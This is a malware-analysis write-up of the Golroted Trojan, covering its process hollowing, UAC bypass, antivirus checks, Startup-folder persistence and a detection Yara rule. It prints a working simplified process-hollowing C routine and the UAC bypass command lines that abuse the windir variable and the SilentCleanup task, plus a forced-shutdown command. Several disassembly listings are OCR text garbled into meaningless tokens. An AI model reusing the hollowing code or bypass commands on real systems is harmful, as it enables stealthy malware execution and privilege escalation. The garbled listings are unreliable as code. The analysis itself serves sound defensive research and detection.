Let's Learn: Dissecting Golroted Trojan's Process Hollowing
Technique & UAC Bypass in HKCU\Environment
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Goal: Reverse the Golroted Trojan with the focus on its native API process hollowing technique and User
Account (UAC) bypass method exploiting Environment variables in Scheduled Tasks.

Source:
Golroted Trojan sample
(e73b20f639cd9ecc4c8196e885de57043a4baddb70bb4b66e1df13abc7dad87e)

Background

By and large, the Golroted Trojan is notable due to its native call (Nt* API-based) process hollowing technique,
its user account (UAC) bypass method, and anti-virus checks. It appears to be a relatively popular Trojan,
masked as a ".scr" file, distributed lately as part of the spam impersonating IRS (thanks to @pollo290987).

#Golroted
IRS_REPORT PDF.scr
624023448a39e6eadb9f7722fae2dcd3

Subject: Urgent attention is needed!
—\ (0_0)_/ (@pollo290987) October 30, 2017

The following functions of interest will be analyzed:
¢ Process hollowing
¢ UAC bypass
¢ Anti-virus checks
¢ Persistence mechanism
¢ and others
Yara signature

l. Process hollowing

The malware starts a process suspended with CreateProcessA(0x4 CREATE_SUSPENDED process creation
flag). Ultimately, the malware replaces its content with the content of another. The malware allocates memory
for the process replacement via NtAllocateVirtualMemory. Golroted obtains the thread context of the child
process' primary thread via NtGetContextThread, then retrieves the PEB address from the ebx register and
reads the base address of the executable image from the PEB via NtUnmapViewOfSection. Then, the malware
writes the base address of the injected image into the PEB via NtWriteVirtualMemory and sets the thread
context of the child process' primary thread via NtSetContextThread, which is finally resumed the primary thread
via NtResumeThread.
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The following native API calls the Golroted malware leverages for process hollowing:

o NtGetContextThread

¢ NtReadVirtualMemory

¢ NtUnmapViewOfSection
o NtSetContextThread

¢ NtProtectVirtualMemory
o NtWriteVirtualMemory

¢ NtFlushlinstructionCache
« NtAllocateVirtualMemory
o NtResumeThread

The shortened and simplified process hollowing technique is as follows:

if(CreateProcessA(NULL,DESIRED_PROCESS,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi))

{
NtGetContextThread(pi.hThread,&ctx);

NtReadVirtualMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&base,sizeof(PVOID),NULL);

if(DWORD)base==pINH->OptionalHeader.ImageBase)

{
NtUnmapViewOfSection(pi.hProcess,base);

}

mem=VirtualAllocEx(pi.hProcess,(PVOID)pINH->OptionalHeader.ImageBase,pINH-
>OptionalHeader.SizeOflmage, MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);

NtWriteVirtualMemory(pi.hProcess,mem,image,pINH->OptionalHeader.SizeOfHeaders,NULL);

for(i=0;i<pINH->FileHeader.NumberOfSections;i++)
{
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pISH=(PIMAGE_SECTION_HEADER)((LPBYTE)image+pIDH->e_lfanew+sizeofIMAGE_NT_HEADERS)+
(i*sizeof(IMAGE_SECTION_HEADER)));

NtWriteVirtualMemory(pi.hProcess,(PVOID)((LPBYTE)mem+pISH->VirtualAddress),(PVOID)
((LPBYTE)image+plSH->PointerToRawData),pISH->SizeOfRawData,NULL);
}

ctx.Eax=(DWORD)((LPBYTE)mem+pINH->OptionalHeader.AddressOfEntryPoint);

NtWriteVirtualMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&pINH-
>OptionalHeader.ImageBase,sizeof(PVOID),NULL);
NtSetContextThread(pi.hThread,&ctx);

NtResumeThread(pi.hThread,NULL);

NtClose(pi.hThread);
NtClose(pi.hProcess);
}
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A. “Self injection”
The malware retrieves the path to itself via GetModuleFilenameA call and passes itself as an argument to the
process hollowing function.

B. “Default Browser”

Golroted obtains the following browser locations in C:\\Program Files (x86)\\ or %PROGRAMFILES% and
passes the output as an argument to the process hollowing function:

¢ Mozilla Firefox\\firefox.exe

¢ \Google\Chrome\Application\chrome.exe

o Internet Explorer\liexplore.exe
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call pFiles pabth_search_fumec
noy vdx, [ebhp+var 18]
i tudpr 4]
nov ek, offset aMorillaFirefox ; “Hozilla Firetoxi\AFirefox.exe” |
TITT FOMCTT
lea vas, [ebpvar 1%]
call pfiles_path_search_func
nou edx, |ehproar 18]
- Hugre 81
noy ecy, offset aGoogleChromeAp ; “GGooglediChromeiApplicationdehrone e, ..
Call FUnCTY
lea eax, [ebprvar 14]
call ptiles_path_search_func
naw eds, [ebprvar 18]
tuar L]
noy ecx, offset alnternetExplor ; “Internet Exploreriviexplove.exe” |
call FuncTT
noy eax, [ebprvar 4]
call Findfile_local
test al, al
jz short loc 4BEASD
Il -
- L4
=
loc 4OEREO:
now eax, [ebhpsear 8]
call Findfile local
[ AR | al, al
iz short loc BBEATE
¥
loc_WOERDE @
nou eax, [ebpsuar L]
call findfile_local
test al, al
jz short loc_ WAEARD
L i i ¥ i L] ¥
nGu eax, ehx Finu eax, ehx maw Fax, e
LT e, [ebprvar &) mow edx, [ebpsuvar &]) [mow vidx, [ebproar C]) |Toc SaEAR@E:
call Funeth call Funcé call Funcéd noy eax, ehx
imp short loc BOEABRT|  jnp short loc LAEABT| | jmp short loc HOEART| (call ube_exe Func
| L | I

CTERE

The code blob is as follows:

int __usercall ff_chrome_ie_func@<eax>(volatile signed __int32 *a1@<eax>, int a2@<ebx>)
{
volatile signed __int32 *v2;
int v3;
int v4;
int v5;
unsigned int v7;
__writefsdword(0, (unsigned int)&v7);
pfiles_path_search_func((int *)&v13, 0);
func11((int *)&v16, v13, (signed __ int32)"Mozilla Firefox\\firefox.exe");
pfiles_path _search_func((int *)&v12, v3);
func11((int *)&v15, v12, (signed __int32)"\Google\\Chrome\\Application\\chrome.exe");
pfiles_path_search_func((int *)&v11, v4);
func11((int *)&v14, v11, (signed __int32)"Internet Explorer\\iexplore.exe");

C. “Notepad”

The malware retrieves the path to notepad.exe in C:\Windows\SysWOWG64\ and C:\Windows\system32\

passes itself as an argument to the process hollowing function.

Il. UAC bypass

Golroted checks if the victim host has administrator privileges via IsUserAnAdmin API call. Then, if not admin,
the malware executes the so-called "fileless" UAC bypass method that exploits Environment variables in
Scheduled Tasks. This method is almost identical to the UAC bypass tweeted out in May 2017 by James

Forshaw (@tiraniddo).
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set a=hkcu\Environment /v windir /

reg add %a%d "cmd /K reg delete %a%f]||"

schtasks/Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
— James Forshaw (@tiraniddo) May 15, 2017

The UAC code function is as follows:

uac_bypass(
v10,
3,
" \" /f && exit",
v37,
"/c reg add hkcu\\Environment /v windir /d \"cmd /c start ",
v20,
v21,
v22);
create_process_fuc("C:\\Windows\\System32\\cmd.exe", v32);
Sleep(2000);
create_process_fuc(
"C:\\Windows\\System32\\cmd.exe",
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"/c schtasks /Run /TN \\Microsoft\Windows\\DiskCleanup\\SilentCleanup /I && exit");

Sleep(1000);

create_process_fuc("C:\\Windows\\System32\\cmd.exe", "/c reg delete hkcu\Environment /v windir /f &&

exit");

kernel32_wow64_func(0);
ExitProcess_0(0);

lll. Anti-virus checks

A. Bitdefender

Golroted checks for the following Bitdefender location:
C:\Program Files\Bitdefender

i ds:hyte H1B917, @
now ds:byte_ 41B918, @
mnov ds:byte HIB916, @
nou ds:byte H1B915, @
mnouw ds:hyte 418912, @
mou ds:byte 418913, 0
1lea eax, [ebpruar 18]
call sub_hBFiLC
mnou eax, [ebpruar_18]
lea edx, [ebpruar 14]
call funcag
mnou edx, [ebpruar_ 14]
mau eax, offset dword_k1B904
call funch
oy eax, offset aCProgramFilesB ; "C:\\Program Files\\Bitdefender"
call gettile attrib_func
test al, al
jz short loc_418DES

I S
_ Y
ol s =
noy ds:byte_H1B915, 1
=
loc_H18D85:
cnp ds:byte H1B915, 8
iz short loc_W18D9R
[ E—
ol i =
call msgboxtineout Func
nov ds:byte_41B916, 1
ol s =
loc_H18D9A:
moy edx, ds:dword H1B904
mou eax, obfset adupul exe ; “aupul.exe’
call FUnC1o
Lest edx, edx
jle short loc_418DBS

B. Kaspersky Anti-Virus

The malware checks for the following Kaspersky AV locations and processes:

|

o Kaspersky Lab\Kaspersky Anti-Virus
e .0.0\avpui.exe
e C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus

o Kaspersky Lab\Kaspersky Internet Security

o C:\Program Files (x86)\Kaspersky Lab\Kaspersky Internet Security
o |f the malware finds Kaspersky AV, it shuts down the machine
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cnp [ebp+var_8], @
iz short loc_Wi7863

Y

i

offset dword H17ABY

offset abShutdownFRTE ; /L shubdown f r L
ofFfset aCmid_exe ; "cmd.exe”

offset alpen_1  ; “open”

a

ShellExecuted

J

t Yy
" PE
loc_ W17VEBS:
lig o, [ebhpsuae 107
noy eax, offset aFl'ngr’amiles B ; "PROGHAHF ILES" I
call Funcy
niay ady, [ebp+uar 1]

[lea ear, [ebpeuar ]
nay eck, offset alasperskylLabla ; “Wazpersky Lab\\Haspersky Anti-Ulrus

22— TN )
oy ehx, AL
J
. V¥
il iy =1
loc BATEDS:
push |ebprwar_C]
lea edx, [ehpsvar_2h]
now eax, ebx
call Funea1
ghpruar 24
OEFael a pial exe : VLB B\ N aupun e’
lea eax, [ebpruvar_24a]
nnw edx, 2
call func?l
now sax, [ehpsuar 28]
call findfile local
test al, al
jz short loc_&17929

The C++ code is as follows:

if (v4)
{
yourself_func2(0, &v47);
func30(v47, (int *)&v48);
v5 = v48;
func30(v50, (int *)&v46);
if ( func16(v46, v5) && v50 )

ShellExecuteA(0, "open", "cmd.exe", "/C shutdown -f -r -t 0", &dword_417AB4, 0);

func2((int)"PROGRAMFILES", (int *)&v45);

func11(&v49, v45, (signed __ int32)"Kaspersky Lab\\Kaspersky Anti-Virus ");

v7 =13;
do
{

v8 = v49;

func31(v6, &v44, v7);
func23(v9, 3, ".0.0\\avpui.exe", v44, v8, v31, v32, v33);
if ( (unsigned __int8)findfile_local(v31, v32, v33, v34) )
{
v10 = v49;
func31(v6, &v43, v7);
func23(v11, 3, ".0.0\\avpui.exe", v43, v10, v31, v32, v33);
goto LABEL_22;
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}

++v7;

}
while (v7 1= 27);

IV. Persistence mechanism
Golroted creates persistence as .Ink in "[JUSERNAME]\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\\Startup\."

=
(2 [ehpearg &), 0
jne short 1oc_ B1H7FAG)
i |
. L ]
- L . == =
ol s = [ eax, [ebpruar 8]
lea eaw, [ebpavar 60] push dword ptr [cax] loc_BIEVEG:
call temp_Func ] rax, [ehpruar L) lea wax, [ehprear_&h]
o e, [ebpevar 60] push duord plr [eax] L wdx, [ebprarg %)
es ®ax, [ebpawar 5CJ lea edu, [ehprvar_TE]| R wde, [edx]
call Funcy LT PaK, Bax call Fincd
push [ebpevar %] call yourseld Fonci L) edx, [ebpruar Eh]
lra ead, [ebprvar_64] o pax, [ehproar TA]| |mu wax, [ehproar_ 4]
Ao e, [ebpeuvar_10] lea eds, [ebprsar_Fa]l |mou vax, [eax]
call Funck call Func21 call regls_rum
push [elpruar &&] push [Ebpsuar_Tu]
push  offset a_lnk ;oalmke lea eax, |ebproar_1n]
1ra an, [ehpruar_S8) maw edx, 3
A e, 3 call Funczd
call sub_&04%80C 1ea vax, [ehprvar_7C]
mow eax, [ebproar 58] Lol %, [ehprear_14]
call Functh call Funch
LLE] elx, Pax e eidx, [ehpsuar TL]
i Eaw, [ebpearg a) oy eax, [ebprovar 4]
mow eax, [eax] -1 Bax, [rax]
call Hycomput_dll_fume zall FEiS rFin
push U] push [ ]
push oFFset ab i 44 Lea rax, [ehpruar_8a]
push GFFSet aCHowe¥ | “fC mowe Jy Lol ed, [Ebpruar 14]
les eaw, [ebpauar 8C] call Funch
call tEmp_Fin [ eax, [ebpruar 848]
push [ebpevar &L call Funct
push [ebpeuar 18] push Pax
push offsel a_LnkClsers § “.Ink\" \“LidAlsersiy= call yourself Funct
lea eax, [ebpryar_i0) push rax
call GetlserHane _Func eall CopyFiled
push [ebpevar_Fil] jimp short loc WIE/EG
push offset adppdataRoandng ; "WWwipphatalyiRoamimgyyHicrosoF By Himdowsy™ . .
push [ebpruar_10]
puzh oFfset a_Ink_0 © U.lmkwT
1ra wax, [ehpeuar_68)
. ilx, B
call Func23
oo wax, [ebprvar 68
call Func1¥®
puish an
push aFfset aCmd_exe 1 ; “cmd.exe
push oFfset alpen_3 | “open’
piish i
call Shellbwecuted
inp Toc_M18784
P | HK]

TAR OGS FR1 ATA%L ITE AT AMAITAET MK TREET. narsis seme ddenkd PiarsTRE Sfemcheandsed mibh Har Yoesms11

The code blob is C++ is as follows:

temp_func(&v92, v19);
func4(v20, v92);
v69 = v93;
func4(v21, v103);
v68 = vI1;
func_string(v22, 3, L".Ink");
v23 = (const char *)func5(v68);
Mycomput_dll_func(*a6, v23, a12, a4, (unsigned int)v12);
temp_func(&v89, v24);
v25 =v103;
GetUserName_func(&v88, v26);
func23(
v27,
8,
" Ink\"",
v103,
"WAppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",

8/10


https://3.bp.blogspot.com/-DuGTIICa-xI/WggM1oCie9I/AAAAAAAAGKw/8ukqsuGAjqoHaJ2lrloIiAlGkIQWpyEzQCLcBGAs/s1600/golroted7.png

v88,
".Ink\" \"C:\\Users\\",
v25);
v28 = func19(v90);
ShellExecuteA(0, "open", "cmd.exe", v28, v68, v69);

V. Delete Zone.ldentifier flag using DeleteFile function
The malware deletes the zone identifier flag via DeleteFileA API to avoid being flagged by Explorer and prevent
possible alert boxes when launching the executable.

VI. Miscellaneous
Golroted also has various debug information that was presumably used for internal testing including “Notepad”
process hollowing and the following presumably placeholders:

e binderfolderxD

¢ bindermode

¢ binderextension

o randomfolderxD

The observed mutex was as follows “UfeRKBdMoE”

Yara Signature

rule crime_win32_golrote_trojan {
meta:
description = "Golroted Trojan rule - file golroted.exe"
author = "@VK_Intel"
reference = "Detects Golroted Trojan"
date = "2017-11-11"
hash = "e73b20f639cd9ecc4c8196e885de57043a4baddb70bb4b66e1df13abc7da487¢e"

strings:
$s0 = "C:\\Windows\\System32\\Mycomput.dll" fullword ascii
$s1 =".Ink\" \"C:\\Users\\" fullword ascii
$s2 = "vbc.exe" fullword ascii
$s3 = "System32\\WerFault.exe" fullword ascii
$s4 = "system32\\notepad.exe" fullword ascii
$s5 = "Mozilla Firefox\\firefox.exe" fullword ascii
$s6 = "FC:\\Windows\\System32\\" fullword ascii
$s7 = "C:\\Windows\\SysWOW64\\ntdIl.dll" fullword ascii
$s9 = "Microsoft. NET\\Framework\\v2.0.50727\\regasm.exe" fullword ascii
$s10 = "Microsoft. NET\\Framework\\v4.0.30319\\regasm.exe" fullword ascii
$s11 = "/c reg add hkcu\\Environment /v windir /d \"cmd /c start " fullword ascii
$s12 = "bindedfiledropandexecute" fullword ascii
$s13 ="/c schtasks /Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I && exit" fullword

ascii
$s14 = "Microsoft. NET\\Framework\\v2.0.50727\\vbc.exe" fullword ascii
$s15 = "Microsoft. NET\\Framework\\v4.0.30319\\vbc.exe" fullword ascii
$s16 = "C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Internet Security " fullword ascii
$s17 = "\AppData\\Roaming\\Microsoft\Windows\\Start Menu\\Programs\\Startup\\" fullword ascii
condition:
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uint16(0) == 0x5a4d and filesize < 500KB and all of them
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